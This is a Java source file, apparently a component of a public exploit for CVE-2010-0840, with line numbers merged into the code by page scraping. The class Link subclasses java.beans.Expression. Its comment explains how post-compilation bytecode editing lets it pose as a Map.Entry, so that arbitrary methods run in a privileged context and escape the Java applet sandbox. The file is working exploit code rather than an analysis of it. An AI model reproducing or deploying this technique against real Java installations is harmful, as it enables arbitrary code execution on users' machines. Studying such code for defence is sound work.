Path: blob/master/external/source/exploits/CVE-2010-0840/vuln/Link.java
19534 views
package vuln;12import java.beans.Expression;3import java.util.Map;45/*6* So if i understand this correctly...7*8* Normally this wouldn't work because a normal compiler won't allow us to9* create a non-abstract class that doesn't fully implement an interface. To10* get around this we create a dummy interface that only contains the method11* we're interested in (in this case, getValue()) and modify the .class file12* after compilation to implement Map$Entry instead of Test.13*14* Because of the compiler trickery above, Link now inherits getValue() from15* Expression instead of from non-privileged applet code and can be used as a16* Map.Entry. Expression.getValue() calls Statement.invoke() using the17* parameters we give it in the Exploit class, allowing us to call arbitrary18* methods of arbitrary classes. Since it started out in library code, and19* since we didn't use any non-privileged methods, it runs in a privileged20* context. Whew.21*22*/23public class Link extends Expression implements Test {2425Map.Entry entry;2627public Link(Object target, String methodName, Object[] arguments) {28super(target, methodName, arguments);29}3031public Object getKey() {32return null;33}3435}363738